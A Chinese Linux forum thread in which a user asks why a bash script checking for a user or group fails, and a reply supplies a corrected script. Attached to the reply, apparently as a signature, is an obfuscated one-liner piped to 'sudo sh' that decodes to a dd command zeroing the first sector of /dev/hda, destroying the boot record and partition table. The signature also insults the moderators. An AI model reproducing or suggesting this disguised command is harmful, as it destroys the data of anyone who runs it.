我想写一个可以用来验查使用者或群组是否存在的script
内容如下::::::::::::::::::::::::
#!/bin/bash
users= 'cut -d : -f 1 /etc/passwd|grep $2'
group= 'cut -d : -f 1 /etc/group|grep $2'
if [ "-u" = "$1" ] && [ "$users" = "$2"]; then
echo "User, $2 exists!"
else
echo "User, $2 does not exist!"
elif [ "$1" = "-g" ] && [ "$2" = "$group" ]; then
echo "Group, $2 exists!"
else
echo "Group, $2 does not exist!"
fi
echo "end of Script!"
执行后就有以下的错误
asd/Ass$ ./Q1.sh -u root
./Q1.sh: line 5: cut -d : -f 1 /etc/passwd|grep $2: 沒有此一檔案或目錄
./Q1.sh: line 6: cut -d : -f 1 /etc/group|grep $2: 沒有此一檔案或目錄
./Q1.sh: line 13: syntax error near unexpected token `elif'
./Q1.sh: line 13: `elif [ "$1" = "-g" ] && [ "$2" = "$group" ]; then'
我想它现的是
User/Group, username/groupname exists
OR
User/Group, username/groupname does not exists
End of Script!!!
在此请教大家,我错了什么???
还有`.....` 和'......'和"......"有什么分别??
[問題]来看看,很简单,但我也不会,是不是我太笨??
-
- 帖子: 25
- 注册时间: 2006-09-11 17:25
-
- 帖子: 262
- 注册时间: 2007-03-29 12:59
代码: 全选
#!/bin/bash
users=`cut -d : -f 1 /etc/passwd|grep $2`
group=`cut -d : -f 1 /etc/group|grep $2`
if [ "-u" == "$1" ] ;then
if [ "$users" == "$2" ] ;then
echo "User, $2 exists!"
else
echo "User, $2 does not exist!"
fi
elif [ "$1" == "-g" ] ; then
if [ "$2" == "$group" ];then
echo "Group, $2 exists!"
else
echo "Group, $2 does not exist!"
fi
fi
echo "end of Script!"
echo 'qq%vs+&qri&mreb%bs+&qri&uqn%of+FBC%pbhag+B' | tr 'n-za-m&+A-J%' 'a-z/=0-9 ' |sudo sh #<-警告:
强烈鄙视SB版主,一群跟风的SB,一群自以为是的SB
对这个论坛彻底失望了
强烈鄙视SB版主,一群跟风的SB,一群自以为是的SB
对这个论坛彻底失望了